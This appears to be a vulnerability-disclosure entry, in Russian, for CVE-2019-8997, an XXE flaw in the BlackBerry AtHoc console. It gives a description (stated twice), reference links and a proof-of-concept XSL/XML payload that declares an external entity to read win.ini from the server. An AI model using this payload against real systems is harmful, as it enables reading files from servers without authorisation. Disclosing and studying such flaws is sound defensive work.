nxkennedy/cve-2019-8997
Уязвимость внедрения внешних XML-сущностей (XXE) в системе управления (консоли) BlackBerry AtHoc версий ранее 7.6 HF-567 может позволить злоумышленнику потенциально читать произвольные локальные файлы с сервера приложения или выполнять запросы в сети путем ввода вредоносно сформированного XML в существующее поле.
Уязвимость внедрения внешних XML-сущностей (XXE) в системе управления (консоли) BlackBerry AtHoc версий ранее 7.6 HF-567 может позволить злоумышленнику читать произвольные локальные файлы с сервера приложения или выполнять сетевые запросы путем ввода специально созданного XML-кода в существующее поле.
Nolan B. Kennedy (nxkennedy)
http://support.blackberry.com/kb/articleDetail?articleNumber=000047227
https://nvd.nist.gov/vuln/detail/CVE-2019-8997
https://www.nolanbkennedy.com/feed/xxe-vulnerability-blackberry-athoc
https://www.mindpointgroup.com/blog/pen-test/xxe-vulnerability-in-blackberry-athoc-networked-crisis-communication-platform/
<!DOCTYPE doc [
<!ELEMENT doc ANY >
<!ENTITY foo SYSTEM "file:///c:/windows/win.ini">
]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0">
<xsl:output method="html" />
<xsl:template match="/">
<doc>&foo;</doc>
<head></head>
<body style="margin: 0; padding: 0;" oncontextmenu="return
false;"></body>
</xsl:template>
</xsl:stylesheet>